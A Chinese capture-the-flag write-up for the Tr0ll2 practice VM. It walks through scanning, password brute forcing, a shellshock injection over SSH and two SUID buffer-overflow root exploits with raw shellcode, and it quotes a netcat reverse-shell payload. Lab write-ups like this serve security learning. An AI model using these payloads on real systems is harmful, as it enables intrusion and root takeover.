《Tr0ll2 靶機滲透實戰:弱口令+SUID+兩種緩沖區溢出+ 提權完整+fcrackzip暴力破解+shellshock漏洞+臟牛三種root提權復盤》

Tr0ll2

1、主機發現

arp-scan -l

2、端口掃描
nmap -sS -sV 192.168.66.181
nmap -sS -A -T4 -p- 192.168.66.181
nmap --script=vuln 192.168.66.181

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

詳細掃描

這里沒找到匿名訪問之類的,我們看80端口然后掃一下目錄

3、目錄掃描

gobuster dir -u http://192.168.66.181:80 -t30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
dirsearch -u http://192.168.66.187:80/ -e * -i 200
nikto -h 192.168.66.181 -p 80
dirb http://192.168.66.181

dirsearch

dirb

gobuster

這里學到了一個新思路,也不算是,因為在我看到這些目錄的時候我有想過這些目錄進行交叉組合進行訪問,或者掃描其他目錄,但是沒想到dirb和dirsearch可以掃描文檔,就是把這些目錄放到一個txt下爆破

這東西我也是第一次知道還能這樣使用
dirb http://192.168.66.181/ robots.txt ---空格后填寫文本默認指向該字典

4、尋找攻擊點

訪問80端口


依舊是這張圖片,看一下其他目錄

還是很抽象的東西,有可能是賬戶名之類的或者文件目錄

果然,這里是很多目錄,掃不出來,我們需要自行訪問一下
到這里最大疑點是給的目錄,這因該是一些密碼賬戶,因為21端口沒有匿名訪問,根據經驗來說,21端口存在一些提示信息,然后再用到22端口進行隧道建立,我們嘗試一下爆破,而且作者提示我們腳本化這些文件。

這里我又回頭看了一下,找到了一個應該是用戶名,zomg這個,我們再嘗試爆破
這里思路有點歪了,其實應該嘗試暴力破解的,我只用他給的幾個文件目錄去爆破了,想的窄了,我們接下來嘗試爆破

爆破

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.66.181 ssh
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.66.181 ftp

21端口


這里偏的太遠了,沒嘗試弱口令,就是Troll這個賬戶和密碼,這里需要注意,算是失誤了

這里我們下載了一個zip,有密碼我們嘗試爆破

zip爆破

使用這個工具爆破一下
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u lmao.zip
fcrackzip -u -D -p 1.txt lmao.zip

這里ssh爆破也失敗了、看了wp之后發現是那張圖片的問題,我們下載一下那張圖片看看是否隱藏了信息

隱寫

wget http://192.168.66.181/dont_bother/cat_the_troll.jpg
我們下載了圖片后查看隱寫
用strings查看圖片隱寫的信息

這里有個坑,就是這個圖片有很多文件路徑,但是只有這個路徑有隱藏信息
我們訪問這個路徑

這里發現了很多密碼,估計是讓我們爆破,我們把這個txt下載下來
估計是哪個zip的密碼,我們爆破一下,這里要注意把base64解碼再去爆破
base64 -d answer.txt > an.txt

noob文件信息枚舉

這里是一個用戶的信息

5、shellshock漏洞利用

較新的版本支持語法
ssh -i noob noob@192.168.66.181
這里第一次知道是可以使用這個文件去進行ssh登錄的

這里注意一個問題就是密鑰版本較新,linux版本比較舊的無法解析,我們需要指定舊版算法
這段代碼兼容性更強
ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@192.168.66.181

這里看到了訪問被拒絕了,可以登錄需要外殼拿權限。

shellshock env環境變量繞過ssh

shellshock env環境變量繞過ssh,我們找找相關漏洞

找到了使用方法,我們嘗試構造一下

user_agent = {'User-agent': '() { :; }; /bin/bash -c "rm /tmp/.f;mkfifo /tmp/.f;cat /tmp/.f|/bin/sh -i 2>&1|nc '+cbip+' '+cbport+' >/tmp/.f"'}

我們找了一些相關exp,發現了使用方法,我們構造語句

我們利用noob的密鑰進行登錄并且進行命令執行
ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@192.168.66.181 '() { :;}; cat /etc/passwd'
這樣我們就能遠程執行命令了,這時我們只需要讓他開一個shell即可
ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@192.168.66.181 '() { :;}; /bin/bash'

修復shell:
python -c 'import pty;pty.spawn("/bin/bash")'

6、內網信息收集

find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 2> /dev/unll
這里找了一些SID 權限的文件

7、方法一緩沖區溢出

ls -lahR

這里看了wp說是存在緩沖區溢出

1、判斷是否有溢出

1)進入查看溢出文件信息

cd door2
ls
./r00t

Usage: ./r00t input,提示在r00t后面添加命令。


這里不知道什么原因r00t文件執行后是重啟,

2)測試是否存在緩沖區溢出

./r00t $(python -c 'print "A" * 300')   ---生成300個A
./r00t $(python -c 'print "A" * 200')



提示:Segmentation fault----分段錯誤,存在溢出!接下來將該文件base64轉發下載到本地進行逆向分析!

3)base64轉碼
將轉碼值寫入本地文本并解碼成文件!
復制至本地文本:

gedit base.txt

base64解碼并驗證:

cat base.txt | base64 -d > r00t 
md5sum r00t   ---雙方MD5值對比(因MD5不可逆)

分析文件
gdb ./r00t

2、查找偏移量

pattern_create是生成一個字符串模板輸入后根據EIP來確定覆蓋return addr的長度。

1)利用pattern_create.rb,在本地生成300個字符,找偏移量

locate pattern_create.rb
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300

獲得地址:

0x6a413969

3)獲得偏移量

利用pattern_offset.rb,找偏移量:

3、查找ESP的溢出地址

前面找到偏移量后,可以知道棧空間大小占據空間位置,接下來找到跳板地址也就是ESP,就可以跳到惡意代碼shellcode位置!

1)print寫入268個A和4個B,查找出EIP地址

r $(python -c 'print "A"*268 + "B"*4')
info r

繼續獲取ESP值。

2)獲取ESP(下一跳值)

print寫入268個A、4個B和20個C,查找出ESP地址:

r $(python -c 'print "A"*268 + "B"*4 + "C"*20')

獲取ESP內存地址:0xbffffb80
即反向ESP為:\x80\xfb\xff\xbf。

4、shellcode編寫

谷歌搜索獲得shellcode:

http://shell-storm.org/shellcode/files/shellcode-827.php

因為它運行在Intel,并且操作系統是86位Linux,因此我從此處獲取Shellcode連接:
"|428" 未創建,點擊以創建。

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

當選擇好shellcode惡意代碼后,即可進行exp寫入shellcode進行編寫payload。

5、EXP編寫

接下來需要執行exp,獲得shell,開始編寫。
編寫EXP:

./r00t $(python -c 'print "A"*偏移量 + "反向ESP" + "\x90"*20 + "shellcode"')

按照模板編寫:

./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
python -c 'import pty; pty.spawn("/bin/bash")'  #執行tty


可看到成功緩沖區溢出跳轉執行shellcode獲得bash的shell!

方法二緩沖區溢出提權:

1)測試是否有緩沖區溢出,使用腳本生成字符

locate pattern

利用pattern_create.rb,在本地生成1000個字符,找偏移量 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

2)進入gdb進行測試,然后直接開始運行r00t,發現偏移量的地址,使用工具進行解碼。發現偏移量是268.

0x6a413969

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6a413969

3)進行ASLR的查詢,發現結果是0.說明沒有開啟。檢查checksec保護機制。

cat /proc/sys/kernel/randomize_va_space

4)找esp值:驗證EIP,這里驗證出來ebp和eip是正確的。

./r00t $(python -c 'print "A" * 300')
r $(python -c 'print "A"*268 + "B"*4')
r $(python -c 'print "A"*268 + "B"*4 + "C"*20')

5)尋找ESP的地址,這里可以直接看,或者是通過命令。來查看esp的下一跳地址。

info r

0xffffcf60 \x60\xcf\xff\xff

6)下面拼接好shellcode就可以。exp的構造./r00t $(python -c 'print "A"_偏移量 + "ESP" + "\x90"_20 + "shellcode"'),拿到root權限。

練習shellcode的編寫

./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90" * 20 + "\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80"')

方法三:臟牛提權

searchsploit linux 3.2.0 Privilege

別的方法太難了,直接牛牛大法一鍵提權

拿下

總結:

1)使用ftp收集信息

2)訪問網站信息獲取密碼

3)使用fcrackzip來爆破壓縮包

4)發現緩沖區溢出提權、臟牛提權

后續我也會出更多打靶文章,希望大家關注!謝謝

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/74727.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/74727.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/74727.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

redis常用部署架構之redis分片集群。

redis 3.x版本后開始支持 作用: 1.提升數據讀寫速度 2..提升可用性 分片集群就是將業務服務器產生的數據儲存在不同的機器上。 redis分片集群的架構 如上圖所示,會將數據分散存儲到不同的服務器上,相比于之前來說,redis要處…

分布式數據庫介紹

分布式數據庫介紹 一、定義與核心概念 分布式數據庫是一種在物理上分散存儲、邏輯上統一管理的數據管理系統,其核心特征包括數據分布性、邏輯關聯性、場地透明性和可擴展性。根據最新定義,分布式數據庫需具備分布式事務處理能力、平滑擴展能力&#xf…

MybatisPlus(SpringBoot版)學習第五講:條件構造器和常用接口

目錄 1.wrapper介紹 2.QueryWrapper 2.1 例1:組轉查詢條件 Compare Nested Join Func 2.2 例2:組裝排序條件 2.3 例3:組裝刪除條件 2.4 例4:條件的優先級 2.5 例5:組裝select子句 2.6 例6:實現子查…

OkHttp 的證書設置

在 Android 開發中,通過 OkHttp 自定義 SSLSocketFactory 和 X509TrustManager 可以有效增強 HTTPS 通信的安全性,防止中間人攻擊(如抓包工具 Charles/Fiddler 的攔截)。以下是實現防抓包的關鍵技術方案: 一、Okhttp設…

計算機視覺算法實戰——手術導航:技術、應用與未來

?個人主頁歡迎您的訪問 ?期待您的三連 ? ?個人主頁歡迎您的訪問 ?期待您的三連 ? ?個人主頁歡迎您的訪問 ?期待您的三連? ??? ????????? ?? 1. 手術導航中的計算機視覺:領域介紹 計算機視覺在手術導航領域的應用代表了現代醫學與人工智…

【科研繪圖系列】R語言繪制PCA與變量的相關性散點圖(scatter plot)

禁止商業或二改轉載,僅供自學使用,侵權必究,如需截取部分內容請后臺聯系作者! 文章目錄 介紹加載R包數據下載導入數據畫圖輸出圖片系統信息介紹 【科研繪圖系列】R語言繪制PCA與變量的相關性散點圖(scatter plot) 加載R包 library(tidyverse) library(ggpubr)數據下載 …

深度解析Spring Boot可執行JAR的構建與啟動機制

一、Spring Boot應用打包架構演進 1.1 傳統JAR包與Fat JAR對比 傳統Java應用的JAR包在依賴管理上存在明顯短板,依賴項需要單獨配置classpath。Spring Boot創新的Fat JAR(又稱Uber JAR)解決方案通過spring-boot-maven-plugin插件實現了"…

安科瑞微電網能量管理控制箱,光伏發電的守護者

安科瑞顧強 隨著工業的發展,很多用電設備和工廠設備采用直流系統供電,直流系統的正極和負極不接地。對于不接地(IT)配電系統,應該進行絕緣電阻的監控以保證供電系統的安全運行。 AIM-D100-TS 系列直流絕緣監測儀可以…

[計算機網絡]網絡I/O模型

歡迎來到啾啾的博客🐱。 這是一個致力于構建完善的Java程序員知識體系的博客📚,記錄學習的點滴,分享工作的思考、實用的技巧,偶爾也分享一些雜談💬。 歡迎評論交流,感謝您的閱讀😄。…

Vue中使用JsonView進行JSON數據展示

前言 最近在開發公司的管理系統的操作日志模塊,要查看某條操作日志的請求參數,要將請求的參數以 JSON 格式的形式展示出來,于是用到了Vue-JSON-Viewer 這個插件。 一、Vue-JSON-Viewer 基礎入門 插件簡介 Vue-JSON-Viewer 是一個用于在Vue項…

vue vue3 走馬燈Carousel

背景: 在項目中需要展示多張圖片,但在頁面上只有一張圖片的有限位置,此時考慮使用輪播圖實現多張圖片的展示。element組件官網有走馬燈Carousel的組件詳細介紹。 實現效果: 官網鏈接:點擊跳轉 核心代碼: …

重學vue3(三):vue3基本語法及使用

組合式 API是vue3 的核心特性&#xff0c;替代 Vue2 的選項式 API&#xff0c;強調邏輯復用和代碼組織。基本語法如下&#xff1a; <script setup> import { ref, reactive, computed, onMounted } from vue;// 1. 響應式數據 const count ref(0); // 基本類…

Spring Boot分布式項目異常處理實戰:從崩潰邊緣到優雅恢復

當單體應用拆分成分布式系統&#xff0c;異常就像被打開的潘多拉魔盒&#xff1a;RPC調用超時、分布式事務雪崩、第三方接口突然罷工…在最近的電商大促中&#xff0c;我們的系統就經歷了這樣的至暗時刻。本文將用真實代碼示例&#xff0c;展示如何構建分布式異常處理體系。 一…

導出sql命令

除了之前提到的 \G 命令&#xff0c;以下是其他優化 MySQL 查詢結果顯示的方法&#xff0c;供你參考&#xff1a; --- ### 1. **使用 \T 命令導出結果到文件** - 在 MySQL 命令行中&#xff0c;使用 \T 文件名 可以將查詢結果以表格形式導出到指定文件&#xff0c;便于后續…

TDengine 3.3.2.0 集群報錯 Post “http://buildkitsandbox:6041/rest/sql“

原因&#xff1a; 初始化時處于內網環境下&#xff0c;Post “http://buildkitsandbox:6041/rest/sql“ 無法訪問 修復&#xff1a; vi /etc/hosts將buildkitsandbox映射為本機節點 外網環境下初始化時沒有該問題

深度解析 BPaaS:架構、原則與研發模式探索

在當今復雜多變的業務環境下&#xff0c;軟件開發面臨著諸多挑戰&#xff0c;如何有效地管理業務復雜性并實現系統的可擴展性成為關鍵。BPaaS應運而生&#xff0c;它作為一種創新的理念和架構模式&#xff0c;改變著企業研發的方式。本文將深入探討 BPaaS 是什么&#xff0c;以…

如何在linux中部署dns服務 主備dns (詳細全過程)

環境centos 7.9 主DNS&#xff1a;192.168.60.131 備DNS&#xff1a;192.168.60.134 我以 chenxingyu0.com 指向 192.168.60.200為例 首先是主dns #!/bin/bash# 檢查是否為 root 用戶 if [ "$(id -u)" ! "0" ]; thenecho "請使用…

操作系統導論——第13章 抽象:地址空間

一、早期系統 從內存來看&#xff0c;早期的機器并沒有提供多少抽象給用戶。基本上&#xff0c;機器的物理內存如圖13.1所示 操作系統曾經是一組函數&#xff08;實際上是一個庫&#xff09;&#xff0c;在內存中&#xff08;在本例中&#xff0c;從物理地址0開始&#xff09;&…

云端存儲新紀元:SAN架構驅動的智能網盤解決方案

一、企業存儲的"不可能三角"破局 1.1 傳統存儲架構的困局 性能瓶頸&#xff1a;NAS架構在1000并發訪問時延遲飆升300%容量限制&#xff1a;傳統RAID擴容需停機維護&#xff0c;PB級存儲擴展耗時超48小時成本矛盾&#xff1a;全閃存陣列每TB成本高達$3000&#xff0…

Android adb自身調試log開關

本文介紹下如何打開adb源碼中的debug log 1.adb源碼log是可以動態打開和關閉的&#xff0c;控制邏輯代碼如下 static NoDestructor<std::mutex> log_mutex; static NoDestructor<CachedProperty> log_property GUARDED_BY(log_mutex)("debug.adbd.logging&q…